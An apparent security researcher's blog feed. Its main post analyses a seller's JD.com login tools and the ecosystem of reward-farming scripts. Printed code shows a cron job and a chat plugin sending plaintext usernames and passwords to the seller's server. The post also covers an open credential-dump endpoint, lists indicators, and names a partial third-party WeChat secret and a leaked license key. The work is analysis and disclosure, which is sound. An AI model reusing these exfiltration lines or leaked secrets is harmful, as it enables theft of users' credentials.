<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://neurowinter.com/feed.xml" rel="self" type="application/atom+xml" /><link href="https://neurowinter.com/" rel="alternate" type="text/html" /><updated>2026-06-29T09:43:40+12:00</updated><id>https://neurowinter.com/feed.xml</id><title type="html">Alex Manson</title><subtitle>Security researcher and SRE. Writing about vulnerability research, AI, and the practical stuff I figure out along the way.
</subtitle><author><name>Alex Manson</name></author><entry><title type="html">Farming the farmers: smallfawn’s JD login tool routes harvested credentials to their own server</title><link href="https://neurowinter.com/security/2026/06/29/farming-the-farmers/" rel="alternate" type="text/html" title="Farming the farmers: smallfawn’s JD login tool routes harvested credentials to their own server" /><published>2026-06-29T00:00:00+12:00</published><updated>2026-06-29T00:00:00+12:00</updated><id>https://neurowinter.com/security/2026/06/29/farming-the-farmers</id><content type="html" xml:base="https://neurowinter.com/security/2026/06/29/farming-the-farmers/"><![CDATA[<h2 id="tldr">TLDR:</h2>

<ul>
  <li>smallfawn is one of the more advanced actors in this whole scene: 152 repos,
a 3,176-star script collection, and <code class="language-plaintext highlighter-rouge">decode_action</code>, the JS deobfuscator most
of the ecosystem relies on. This post is about the product they sell that
steals teh credentials from the people who buy it.</li>
  <li>They sell two “JD account and password login” tools to other reward farmers.
One of them, <code class="language-plaintext highlighter-rouge">JDLogin-Client</code>, cannot log a victim into JD without first
calling smallfawn’s own server, and it relays the harvested credentials
straight back to them. They farm the farmers.</li>
  <li>The password harvesting server is at <code class="language-plaintext highlighter-rouge">8.141.174.247:3000</code>. Every enrolled
account’s JD username and plaintext password are sent there in a GET query
string by the auto-renewal cron, three times a day (<code class="language-plaintext highlighter-rouge">cron.js:54</code>).</li>
  <li>Precise scope, because it matters: the interactive login path forwards the
username only (<code class="language-plaintext highlighter-rouge">express.js:41</code>). The plaintext password reaches smallfawn
through the cron job flow and through the default chat plugin, not on every
login.</li>
  <li>The second tool, dingdingdang, does not phone home to smallfawn. Its problem
is local: a plaintext credential store and a <code class="language-plaintext highlighter-rouge">/get?k=</code> endpoint that dumps
every account and password to anyone holding one shared key, documented in
the README as a feature.</li>
  <li>Collateral damage: a third party’s live secret is sitting in the tree. GAC
Motor’s (广汽) WeChat AppSecret (<code class="language-plaintext highlighter-rouge">f7b821...</code>) was committed in 2024 and never
removed, enough to mint WeChat OAuth tokens against GAC Motor’s own users.</li>
  <li>In fairness on timing: this tooling is dormant. <code class="language-plaintext highlighter-rouge">JDLogin-Client</code>,
<code class="language-plaintext highlighter-rouge">dingdingdang</code>, and <code class="language-plaintext highlighter-rouge">WoolWeb</code> haven’t been touched since late 2024. smallfawn
is still active in the scene, but development on these JD-login tools stopped
then, and I did not probe the backend to confirm it still collects today.</li>
  <li>If you ran a 京东账密登录 / 路灯 / 鹿登 login bot, treat your JD password as
compromised and rotate it now.</li>
</ul>

<hr />

<h2 id="terms-in-this-post">Terms in this post</h2>

<p>If you landed here mid-series, a quick orientation. The hub has the full glossary.</p>

<ul>
  <li><strong>JD / 京东</strong> is JD.com, one of China’s largest e commerce platforms. Think
Amazon of China. This is what was targeted.</li>
  <li><strong>CK / cookie</strong> is a captured app session credential. The unit reward-farmers
trade and resell. How exactly they get these I think is another story.</li>
  <li><strong>h5st</strong> is JD’s client side anti fraud request signature. You cannot
complete a JD login without a valid one, and that is the lever this whole
product turns on.</li>
  <li><strong>AppID / AppSecret</strong> are a WeChat mini-program’s server credentials. The
leaked GAC Motor pair is one of these.</li>
  <li><strong>cron</strong> is a scheduled task runner. Here it is the thing that fires the
password leak three times a day. The wool crew uses Qinglong as a web ui for
this sort of thing.</li>
  <li><strong>vm2</strong> is a Node sandbox library. The version bundled in smallfawn’s tooling
carries CVE-2023-29017, a known sandbox escape.</li>
</ul>

<hr />

<h2 id="background-the-most-capable-person-in-the-room">Background: the most capable person in the room</h2>

<p>Most of the actors in this scene are copying each other. Same apps, same
scripts, the odd file lifted word for word from the next account over. Same
targets. smallfawn is the exception. Of their 152 repos, 130 are forks, but the
22 original ones are the load-bearing parts of the whole ecosystem: a
133-script farming collection (<code class="language-plaintext highlighter-rouge">QLScriptPublic</code>, 3,176 stars, every script
CI-verified), a complete Go WeChat protocol server, and <code class="language-plaintext highlighter-rouge">decode_action</code>, the
JavaScript deobfuscator with over 1,300 forks that half the scene uses to
un hide each other’s scripts.</p>

<p>The person who wrote the tool everybody uses to make hidden code readable also
runs a covert credential harvesting campaign. They are, by some distance, the most
technically capable actor I found on the public GitHub accounts. That is
exactly what makes the next part worth writing down.</p>

<p>They are not shy about the infra, either. Three of their chatbot plugins poll a
printer over SNMP, watch a UPS over NUT (Network UPS Tools), and update
Cloudflare DNS with IP changes. This is a person running physical, co-located
infrastructure, not a kid with a free-tier VM.</p>

<p>One thing up front, so it does not get muddled with the last post: smallfawn
has nothing to do with the wyourname wool DRM. Their scripts ship as plaintext,
no loader, no C2-held key, no encryption to crack. Different operator,
different model. They just happen to be in the same scene.</p>

<hr />

<h2 id="two-products-two-trust-models">Two products, two trust models</h2>

<p>smallfawn sells JD logins under “京东账密登录协议版本”, and the shop and demo
hostnames are baked into the source: <code class="language-plaintext highlighter-rouge">smshop.back1.idcfengye.com</code> and
<code class="language-plaintext highlighter-rouge">smjd.back1.idcfengye.com</code>. Neither is smallfawn’s own server: both are
subdomains on idcfengye, a third-party reverse-tunnel (内网穿透) service in the
Sunny-Ngrok family (run by 深圳猿类科技有限公司, filing 粤ICP备14050499号) —
basically a Chinese ngrok-style service, one of several. smallfawn is just a
tenant, so the hostnames only point at their box while their tunnel client is
connected, which it wasn’t when I looked: either their tunnel was down, or this
is dead infra.</p>

<table>
  <thead>
    <tr>
      <th>Product</th>
      <th>Language / port</th>
      <th>Login method</th>
      <th>Where the credentials go</th>
      <th>Risk</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><strong>JDLogin-Client</strong></td>
      <td>Node / 3000</td>
      <td>Direct JD API (<code class="language-plaintext highlighter-rouge">plogin.m.jd.com</code>)</td>
      <td>smallfawn’s servers: mandatory session-param server, cron password leak, default plugin host</td>
      <td>supply chain theft</td>
    </tr>
    <tr>
      <td><strong>dingdingdang</strong></td>
      <td>Python (Quart) / 12345</td>
      <td>Local headless Chromium</td>
      <td>Local <code class="language-plaintext highlighter-rouge">data.json</code>, exposed through an open <code class="language-plaintext highlighter-rouge">/get?k=</code></td>
      <td>High, local plaintext store and weak-key dump</td>
    </tr>
  </tbody>
</table>

<p>The rest of this post is mostly about the first one. The second one is a real
exposure, but it is just a shoddy code cleanlyness and defaults problem. The
first one is a design.</p>

<hr />

<h2 id="pillar-a-jdlogin-client-routes-credentials-to-smallfawn">Pillar A: JDLogin-Client routes credentials to smallfawn</h2>

<h3 id="you-cannot-log-in-without-smallfawns-server">You cannot log in without smallfawn’s server</h3>

<p><code class="language-plaintext highlighter-rouge">server/config.json:3</code> ships with the real default already filled in:</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w"> </span><span class="nl">"key"</span><span class="p">:</span><span class="w"> </span><span class="s2">"卡密"</span><span class="p">,</span><span class="w"> </span><span class="nl">"server"</span><span class="p">:</span><span class="w"> </span><span class="s2">"http://8.141.174.247:3000"</span><span class="p">,</span><span class="w"> </span><span class="nl">"cron"</span><span class="p">:</span><span class="w"> </span><span class="s2">"0 25 20,23,2 * * *"</span><span class="w"> </span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p>The actual POST to JD.com (<code class="language-plaintext highlighter-rouge">server/login.js:16-49</code>) needs a pile of anti-fraud
session parameters: <code class="language-plaintext highlighter-rouge">guid</code>, <code class="language-plaintext highlighter-rouge">lsid</code>, <code class="language-plaintext highlighter-rouge">lstoken</code>, <code class="language-plaintext highlighter-rouge">verifytoken</code>, the <code class="language-plaintext highlighter-rouge">h5st</code>
signature, and the <code class="language-plaintext highlighter-rouge">risk_jd</code> bundle of <code class="language-plaintext highlighter-rouge">eid</code>, <code class="language-plaintext highlighter-rouge">fp</code>, <code class="language-plaintext highlighter-rouge">token</code>, <code class="language-plaintext highlighter-rouge">jstub</code>. None of
that is generated on the buyer’s box. It is fetched from <code class="language-plaintext highlighter-rouge">8.141.174.247:3000</code>
over <code class="language-plaintext highlighter-rouge">/get</code> (<code class="language-plaintext highlighter-rouge">express.js:52</code>, <code class="language-plaintext highlighter-rouge">cron.js:59</code>), and the license key (<code class="language-plaintext highlighter-rouge">卡密</code>)
authenticates the buyer to that server (<code class="language-plaintext highlighter-rouge">express.js:95-103</code>). So the main anti
fraud breaking software, is hidden behind smallfawn’s servers.</p>

<p>That is the lock. Without smallfawn’s server vending the <code class="language-plaintext highlighter-rouge">h5st</code> and risk
tokens, the login cannot clear JD’s risk control, so it cannot complete at all.
Every operator who buys this tool is wired into smallfawn’s infrastructure just
to function. But note what actually has to cross their server: the username. The
<code class="language-plaintext highlighter-rouge">/get</code> that vends the tokens is username-only (<code class="language-plaintext highlighter-rouge">cron.js:59</code>; the interactive
<code class="language-plaintext highlighter-rouge">/api/set</code> is too, <code class="language-plaintext highlighter-rouge">express.js:41</code>). The password is never required to mint the
anti-fraud tokens — the tool works fine with username-only vending — so its
appearance in the cron <code class="language-plaintext highlighter-rouge">/set</code> (next section) isn’t a technical necessity. It’s
harvesting.</p>

<h3 id="the-cron-path-leaks-plaintext-passwords-three-times-a-day">The cron path leaks plaintext passwords, three times a day</h3>

<p><code class="language-plaintext highlighter-rouge">server/cron.js:53-54</code> renews expired <code class="language-plaintext highlighter-rouge">JD_COOKIE</code>s on a schedule, and it does
it like this:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">async</span> <span class="kd">function</span> <span class="nx">getJDCookies</span><span class="p">(</span><span class="nx">username</span><span class="p">,</span> <span class="nx">password</span><span class="p">,</span> <span class="nx">remark</span><span class="o">=</span><span class="dl">'</span><span class="s1">无备注</span><span class="dl">'</span><span class="p">)</span> <span class="p">{</span>
    <span class="kd">let</span> <span class="p">{</span> <span class="na">data</span><span class="p">:</span> <span class="nx">result</span> <span class="p">}</span> <span class="o">=</span> <span class="k">await</span> <span class="nx">axios</span><span class="p">.</span><span class="kd">get</span><span class="p">(</span><span class="nx">config</span><span class="p">.</span><span class="nx">server</span> <span class="o">+</span> <span class="dl">'</span><span class="s1">/set?key=</span><span class="dl">'</span> <span class="o">+</span> <span class="nx">config</span><span class="p">.</span><span class="nx">key</span>
        <span class="o">+</span> <span class="dl">'</span><span class="s1">&amp;username=</span><span class="dl">'</span> <span class="o">+</span> <span class="nx">username</span> <span class="o">+</span> <span class="dl">'</span><span class="s1">&amp;password=</span><span class="dl">'</span> <span class="o">+</span> <span class="nx">password</span><span class="p">)</span>   <span class="c1">// -&gt; 8.141.174.247:3000</span>
</code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">username</code> and the plaintext <code class="language-plaintext highlighter-rouge">password</code> are read out of the local
<code class="language-plaintext highlighter-rouge">user.json</code> (stored at login by <code class="language-plaintext highlighter-rouge">login.js:54-60</code>) and sent in the query string
to <code class="language-plaintext highlighter-rouge">8.141.174.247:3000</code>. The cron is <code class="language-plaintext highlighter-rouge">0 25 20,23,2 * * *</code>, Asia/Shanghai, so
this fires at 20:25, 23:25, and 02:25 every day, for every account the operator
has enrolled. Not the cookie. The phone number and the password, in cleartext,
in a URL. I think the timing on these things must have something to do with how
long the tokens are valid for after minting them.</p>

<h3 id="the-default-chat-plugin-sends-end-user-creds-to-smallfawns-demo-host">The default chat plugin sends end-user creds to smallfawn’s demo host</h3>

<p>There is a third path, and it is the one that reaches all the way down to the
end user. The shipped chat plugin, <code class="language-plaintext highlighter-rouge">ludeng.js</code> (路灯, “street lamp,” the bot
trigger users type), defaults its API host to smallfawn’s demo box:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">let</span> <span class="nx">YourSMJDAPIUrl</span> <span class="o">=</span> <span class="dl">'</span><span class="s1">http://smjd.back1.idcfengye.com</span><span class="dl">'</span>   <span class="c1">// smallfawn's host, the default</span>
<span class="p">...</span>
<span class="k">await</span> <span class="nx">axios</span><span class="p">.</span><span class="kd">get</span><span class="p">(</span><span class="nx">YourSMJDAPIUrl</span> <span class="o">+</span> <span class="dl">'</span><span class="s1">/api/get?username=</span><span class="dl">'</span> <span class="o">+</span> <span class="p">...</span> <span class="o">+</span> <span class="dl">'</span><span class="s1">&amp;password=</span><span class="dl">'</span> <span class="o">+</span> <span class="nb">encodeURIComponent</span><span class="p">(</span><span class="nx">password</span><span class="p">)</span> <span class="o">+</span> <span class="p">...)</span>
</code></pre></div></div>

<p>Unless the operator edits that line, every user who types their JD phone and
password into the bot sends both, in the clear, straight to
<code class="language-plaintext highlighter-rouge">smjd.back1.idcfengye.com</code>. I am guessing most operators will not edit it. It
works out of the box, which is the point. Also it seems that a lot of the wool
community just relies on others creating good scripts, and they may not even
read them, if they did this sort of thing would not fly.</p>

<hr />

<h2 id="pillar-b-dingdingdang-keeps-it-local-and-leaves-the-door-open">Pillar B: dingdingdang keeps it local, and leaves the door open</h2>

<p>The second product is fairer to smallfawn as this does not appear to have
malicious intent, but still bad for everyone who runs it.</p>

<p>dingdingdang logs in with a local headless Chromium browser (<code class="language-plaintext highlighter-rouge">login.py</code>), and
its plugins default to <code class="language-plaintext highlighter-rouge">127.0.0.1:12345</code> (<code class="language-plaintext highlighter-rouge">GoDongGoCar_update.js:4</code>,
<code class="language-plaintext highlighter-rouge">sillygirl.js:12</code> these names are fun). There is no <code class="language-plaintext highlighter-rouge">8.141.174.247</code> in the
loop. It does not phone home to smallfawn. I want to be clear about that,
because when I first saw this I just assumed that this was in the same class as
the jd.com credential theft, however that was lazy of me. I dont want you to
make the same mistake as me. Trust your intuition, but always validate.</p>

<p>What it does instead is keep a plaintext credential store and then publish a
key to it. <code class="language-plaintext highlighter-rouge">docker/api.py:169-185</code> writes each account to a volume-mounted
<code class="language-plaintext highlighter-rouge">data.json</code>:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">account_data</span> <span class="o">=</span> <span class="p">{</span> <span class="s">"account"</span><span class="p">:</span> <span class="p">...,</span> <span class="s">"password"</span><span class="p">:</span> <span class="n">workList</span><span class="p">[</span><span class="n">uid</span><span class="p">].</span><span class="n">password</span><span class="p">,</span> <span class="s">"ptpin"</span><span class="p">:</span> <span class="p">...,</span> <span class="s">"remarks"</span><span class="p">:</span> <span class="p">...,</span> <span class="s">"wxpusherUid"</span><span class="p">:</span> <span class="s">""</span> <span class="p">}</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">password</code> is plaintext. And <code class="language-plaintext highlighter-rouge">docker/api.py:289-305</code> hands the whole file back
to anyone with one shared key:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">@</span><span class="n">app</span><span class="p">.</span><span class="n">route</span><span class="p">(</span><span class="s">"/get"</span><span class="p">)</span>
<span class="k">async</span> <span class="k">def</span> <span class="nf">get_data</span><span class="p">():</span>
    <span class="k">if</span> <span class="n">request</span><span class="p">.</span><span class="n">args</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">"k"</span><span class="p">)</span> <span class="o">==</span> <span class="n">config</span><span class="p">[</span><span class="s">"key"</span><span class="p">]:</span>
        <span class="k">return</span> <span class="n">jsonify</span><span class="p">(</span><span class="n">load_from_file</span><span class="p">(</span><span class="s">"data.json"</span><span class="p">))</span>   <span class="c1"># the entire plaintext store
</span></code></pre></div></div>

<p>One key, no rate limit, no per-user scoping. Guess or leak the key once and you
have every enrolled account, password, and <code class="language-plaintext highlighter-rouge">ptpin</code> in the store. This is not a
bug they overlooked. The README lists it as a feature: <code class="language-plaintext highlighter-rouge">获取账密 备注 ptpin信息
/get?k=密钥</code>, “fetch account-password, remarks, and ptpin info.” The
recommendation is a 16-character key “to protect your account and password
information.” There is no server-side enforcement of that, of course.</p>

<hr />

<h2 id="the-git-history-that-proves-the-server-is-real">The git history that proves the server is real</h2>

<p>A skeptical reader should be asking whether <code class="language-plaintext highlighter-rouge">8.141.174.247:3000</code> is a real
backend or a placeholder somebody forgot to fill in. The git history settles
it, and it does so because smallfawn made the same mistake everyone in this
scene makes.</p>

<p>The first commit of JDLogin-Client, <code class="language-plaintext highlighter-rouge">9df41a2</code> on 10 November 2024, shipped
<code class="language-plaintext highlighter-rouge">config.json</code> with a real license key in place:</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w"> </span><span class="nl">"key"</span><span class="p">:</span><span class="w"> </span><span class="s2">"HASL1"</span><span class="p">,</span><span class="w"> </span><span class="nl">"server"</span><span class="p">:</span><span class="w"> </span><span class="s2">"http://8.141.174.247:3000"</span><span class="w"> </span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p>The next day, commit <code class="language-plaintext highlighter-rouge">e98c5aa</code>, both were scrubbed to placeholders (<code class="language-plaintext highlighter-rouge">KEY</code>,
<code class="language-plaintext highlighter-rouge">APIURL</code>). The day after that, commit <code class="language-plaintext highlighter-rouge">fd5c0df</code>, the server address was quietly
added back while the key stayed as <code class="language-plaintext highlighter-rouge">卡密</code> (Access Code). You do not scrub, then
re-add a placeholder. <code class="language-plaintext highlighter-rouge">HASL1</code> was a working shared secret that sat in public for
about a day, and the IP it sat next to is the real backend.</p>

<p>That scrub is also a preview of the next post in this series. Everyone here
scrubs git history, smallfawn, qltrojan, leafTheFish, all of them, usually with
the same orphan branch trick (I will write up how this works at some point).
The scrub is meant to remove the evidence. More often it marks exactly where
the evidence was. Also things can be missed when doing this.</p>

<hr />

<h2 id="collateral-a-third-partys-wechat-keys">Collateral: a third party’s WeChat keys</h2>

<p>The blast radius is not limited to JD. While reading the WoolWeb panel I found
<code class="language-plaintext highlighter-rouge">server/data_gac.json</code>, committed once on 9 October 2024 (<code class="language-plaintext highlighter-rouge">783550a</code>) and never
touched again. It holds a live credential set for a company that has nothing to
do with any of this: GAC Motor (广汽), the car manufacturer.</p>

<ul>
  <li>WeChat AppID <code class="language-plaintext highlighter-rouge">wx55d651b24ca783fa</code></li>
  <li>WeChat AppSecret <code class="language-plaintext highlighter-rouge">f7b821...</code> (redacted here)</li>
  <li>a full <code class="language-plaintext highlighter-rouge">accessToken</code> and <code class="language-plaintext highlighter-rouge">sdkTicket</code>, both now stale</li>
</ul>

<p>The tokens expire. The AppSecret does not. As long as it stands, anyone who can
read this file can mint fresh WeChat OAuth tokens against GAC Motor’s
mini program and impersonate the users who authenticated through it. That is a
clean third-party disclosure item, unrelated to the JD pipeline, sitting in a
public repo since 2024.</p>

<hr />

<h2 id="the-wider-arsenal">The wider arsenal</h2>

<p>This is not the whole operation, it is one corner of it. A quick look at the
rest, because each one rounds out the picture of what this operator can do.</p>

<ul>
  <li><strong>docker-wx</strong> is a complete Go implementation of the WeChat iPad protocol,
145 API endpoints, bundled with the <code class="language-plaintext highlighter-rouge">855协议.zip</code> protocol source and stamped
<code class="language-plaintext highlighter-rouge">仅限集团内部使用,请勿对外</code>, “internal use only, do not expose.” It is a full
WeChat account-takeover server.</li>
  <li><strong>rs-reverse</strong> is a 26 MB, 3,450-file framework for bypassing Ruishu
(瑞数), the VMP (Virtual Machine Protection) based bot detection that guards
China Telecom and a lot of banks. This is professional reverse engineering
work.</li>
  <li><strong>XianYuApis</strong> reverses the full Goofish (闲鱼) marketplace API and bolts a
WebSocket auto-reply bot onto it, so farmed goods can be listed and
haggled over at scale with no human in the loop.</li>
  <li><strong>VirtualApp</strong> is the device ID rotation layer: run many instances of one
app, each with a different fake device fingerprint, to beat the single-device
limits farming runs into. Think of this as using a tonne of valid user
agents.</li>
  <li><strong>decode_action</strong>, the deobfuscator the whole scene depends on, ships
<code class="language-plaintext highlighter-rouge">vm2@^3.9.11</code> as a dependency, and that version carries
CVE-2023-29017, a sandbox escape. The directional risk is real: run
<code class="language-plaintext highlighter-rouge">decode_action</code> on a malicious obfuscated script and that escape is in play —
the deobfuscator the whole scene trusts is itself an attack surface. I’m not
asserting smallfawn did this on purpose; the exposure stands either way.</li>
</ul>

<p>The basic flow: reverse the protections, sign the requests, rotate the
devices, automate the chat, sell the goods. That is an integrated fraud
platform, and the JD login tool is the part that also taxes its own users.</p>

<hr />

<h2 id="the-limits-of-my-engagement-and-this-report">The limits of my engagement, and this report.</h2>

<p>The honest limits, because they matter more here than usual.</p>

<p>All of this code has been dormant since 2024, smallfawn is still active in the
scene, but work on these tools stopped at the end of 2024.</p>

<p>Everything above is read out of public source at file and line. I did not send
anything to <code class="language-plaintext highlighter-rouge">8.141.174.247:3000</code>, I did not probe it, and I did not watch a
single packet leave a real install. Naming a sink is not the same as
poking it, and I stayed on the safe side of that line. The claim “smallfawn
receives the credentials” is an inference from explicit code paths, the GET to
their server is right there in <code class="language-plaintext highlighter-rouge">cron.js:54</code>, but I am inferring the server stores
what it is handed, not proving it from traffic.</p>

<p>And I do not know who smallfawn is. The handle, the repos, the QQ group, the
shop, those are real and public. The person behind them is unconfirmed, and
this post does not try to change that. I am reporting a mechanism and a
sink, not a name.</p>

<hr />

<h2 id="disclosure">Disclosure</h2>

<p>This one has real victims and a credential sink, so it went to the vendors first:
reported to JD.com and GAC Motor on 24 June 2026, ahead of publication.</p>

<ul>
  <li><strong>JD.com security.</strong> <code class="language-plaintext highlighter-rouge">8.141.174.247:3000</code> is a credential relay tied to
automation against <code class="language-plaintext highlighter-rouge">plogin.m.jd.com/cgi-bin/mm/domlogin</code>. The abuse primitive
worth their attention is the <code class="language-plaintext highlighter-rouge">h5st</code> and risk-token vending, that is the thing
that lets a third party clear JD’s risk control on behalf of a paying
operator base.</li>
  <li><strong>GAC Motor (广汽).</strong> Rotate WeChat AppSecret <code class="language-plaintext highlighter-rouge">f7b821...</code>. It has been public
in <code class="language-plaintext highlighter-rouge">WoolWeb/server/data_gac.json</code> since October 2024 and is enough to
impersonate their WeChat users.</li>
  <li><strong>End users.</strong> Anyone who used a 京东账密登录, 路灯, or 鹿登 login bot should
treat their JD password as compromised and rotate it.</li>
</ul>

<hr />

<h2 id="iocs">IOCs</h2>

<p>The GAC AppSecret is redacted until it is confirmed rotated. Everything else is
smallfawn’s own infrastructure.</p>

<table>
  <thead>
    <tr>
      <th>Indicator</th>
      <th>Role</th>
      <th>Evidence</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">8.141.174.247:3000</code></td>
      <td>session-param server and plaintext-password sink</td>
      <td><code class="language-plaintext highlighter-rouge">config.json:3</code>, <code class="language-plaintext highlighter-rouge">cron.js:54</code>, <code class="language-plaintext highlighter-rouge">express.js:52,101</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">smjd.back1.idcfengye.com</code></td>
      <td>demo host, default sink for the <code class="language-plaintext highlighter-rouge">ludeng.js</code> plugin</td>
      <td><code class="language-plaintext highlighter-rouge">ludeng.js:14,40</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">smshop.back1.idcfengye.com</code></td>
      <td>commercial purchase portal</td>
      <td>READMEs</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">:12345/get?k=&lt;key&gt;</code></td>
      <td>dingdingdang open plaintext-store dump</td>
      <td><code class="language-plaintext highlighter-rouge">api.py:289-305</code>, <code class="language-plaintext highlighter-rouge">README:54</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">0 25 20,23,2 * * *</code> (Asia/Shanghai)</td>
      <td>3x/day password-exfil cadence (20:25 / 23:25 / 02:25)</td>
      <td><code class="language-plaintext highlighter-rouge">config.json</code>, <code class="language-plaintext highlighter-rouge">express.js:121-134</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">f7b821...</code></td>
      <td>GAC Motor WeChat AppSecret, hardcoded, not yet rotated</td>
      <td><code class="language-plaintext highlighter-rouge">WoolWeb/server/data_gac.json</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">registry.cn-hangzhou.aliyuncs.com/smallfawn/linux_amd64_ddd</code></td>
      <td>dingdingdang Docker image (x86_64)</td>
      <td>dingdingdang README</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">registry.cn-hangzhou.aliyuncs.com/smallfawn/linux_arm64_ddd</code></td>
      <td>dingdingdang Docker image (ARM64)</td>
      <td>dingdingdang README</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">HASL1</code></td>
      <td>leaked JDLogin-Client license key (2024-11-10, scrubbed next day)</td>
      <td><code class="language-plaintext highlighter-rouge">config.json</code> history <code class="language-plaintext highlighter-rouge">9df41a2</code></td>
    </tr>
  </tbody>
</table>]]></content><author><name>Alex Manson</name></author><category term="Security" /><summary type="html"><![CDATA[smallfawn sells JD.com login tools to other reward-farmers. By design, the buyer cannot log a victim in without calling smallfawn's own server, and the plaintext passwords are relayed there three times a day. Source-verified at file:line, with the git history that proves the server is real.]]></summary></entry><entry><title type="html">A weekend in the wool: mapping a Chinese reward-farming underground from one GitHub repo</title><link href="https://neurowinter.com/security/2026/06/23/a-weekend-in-the-wool/" rel="alternate" type="text/html" title="A weekend in the wool: mapping a Chinese reward-farming underground from one GitHub repo" /><published>2026-06-23T00:00:00+12:00</published><updated>2026-06-23T00:00:00+12:00</updated><id>https://neurowinter.com/security/2026/06/23/a-weekend-in-the-wool</id><content type="html" xml:base="https://neurowinter.com/security/2026/06/23/a-weekend-in-the-wool/"><![CDATA[<h2 id="tldr">TLDR:</h2>

<ul>
  <li>A friend’s grep.app link and a hunt for leaked password prefixes turned one 292-star GitHub repo (<code class="language-plaintext highlighter-rouge">985Ming/qlk</code>) into a map of a Chinese reward-farming (薅羊毛) underground: 16 actors, 26 repos, 60+ targeted platforms.</li>
  <li>Reward farming here means running scripts on a schedule, via Qinglong (a cron-job webui), to drain loyalty points, coupons, and lottery payouts from apps, then cashing out on Xianyu or Pinduoduo.</li>
  <li>It runs like a supply chain: operators write the scripts, one operator (wyourname) rents out script DRM to protect them, shared plumbing (NiuPanel, obfuscators, OCR, device-ID pools) hides the bots, and a WXPusher ping tells the operator when money lands.</li>
  <li>The targets are broad: music, video, novels, telecom, and banks, plus civic and government apps and state media.</li>
  <li>The ugly part: in at least one case the tooling robs its own users. smallfawn sells a JD.com login tool wired to exfiltrate the buyer’s logins, plaintext passwords included, to a server they control.</li>
  <li>Where it stops: the modern scripts are sealed behind wyourname’s C2, which is dark (404s, <code class="language-plaintext highlighter-rouge">status: false</code>). I mapped 49 of them and decrypted none. Everything I cracked is the older, weaker tier.</li>
  <li>All read-only. I didn’t farm an account or log into anything, and anything live went to the vendors first.</li>
</ul>

<hr />

<h2 id="how-it-all-started">How it all started:</h2>

<p>Recently a friend shared a link to <a href="https://grep.app">grep.app</a>, a super fast GitHub search tool.
I started hunting for known password and API key prefixes. One of them landed
me on this repo: https://github.com/985Ming/qlk.</p>

<p>This is a repo of ~99 obfuscated python and js scripts, with the description:</p>

<p>Original Chinese:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>青龙脚本库 2025年新本；脚本q群1025838653
</code></pre></div></div>

<p>English translation:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Qinglong Script Library – New scripts for 2025; Script QQ Group: 1025838653
</code></pre></div></div>

<p>This really piqued my interest, what on earth have I just stumbled upon (rip
StumbleUpon 2002 - 2018)</p>

<p>Well after cloning the whole repo I realised that I couldn’t read or understand
any of it, so now I have to, there goes my weekend.</p>

<hr />

<h2 id="what-on-earth-is-qinglong">What on earth is Qinglong?</h2>

<p>This was about all I had to go off to figure out what was going on. Turns out
this is a program used by wool farmers to run scripts
on a regular basis. Think of this like a webui for cron jobs: https://github.com/whyour/qinglong</p>

<p>This is a common tool for people who do “wool”, or reward farming in English.
They run Qinglong as their orchestration server. Submit a script, set a
cadence, and it fires. qlk was a pile of exactly those scripts.</p>

<p>This turns out to be a full on ecosystem of rewards farming -&gt; monetization -&gt;
cashout chains.</p>

<hr />

<h2 id="the-黑灰产-or-blackgrey-industry-of-薅羊毛">The 黑灰产 or black/grey industry of 薅羊毛</h2>

<p>Where there is money to be made, someone will find a way to exploit it. I went
in expecting a few people swapping scripts. I came out the other side with 16
actors, 26 repos, and 60+ targeted platforms.</p>

<p>As part of this there is an entire structure that is built around this, and the
more I pulled on the thread the less it looked like a few people swapping scripts
and the more it looked like an actual supply chain. Roughly, it stacks up like this:</p>

<ul>
  <li><strong>The operators</strong> — the people writing and running the scripts. Two camps: the
reward farmers (985Ming, xxwppp, KingJin, smallfawn and friends) going after
Chinese loyalty and points programs, and a separate crowd cracking iOS in-app
purchases (MCdasheng, Yu9191). Different targets, same playbook.</li>
  <li><strong>A protection layer</strong> (protecting the scripts) — qlk’s own obfuscation came
apart easily, and that turned out to be the easy tier. One operator, wyourname,
runs the industrial version: DRM as a service, encrypted <code class="language-plaintext highlighter-rouge">.so</code> loaders plus a
C2 server that hands out the decryption key per machine. The other authors rent
it so their scripts can’t just be lifted straight off GitHub. That tier is the
one that actually stopped me. At least this is what I think is happening.</li>
  <li><strong>The plumbing</strong> — Qinglong to run everything, plus a from-scratch clone called
NiuPanel, obfuscators to hide the scripts, a shared deobfuscator to unhide them,
OCR services to solve CAPTCHAs, and shared device-ID pools so every bot looks like
a real phone.</li>
  <li><strong>The targets</strong> — those 60+ platforms. Music, video, novels, telecom, banks… and
more uncomfortably, civic and government apps and even state media.</li>
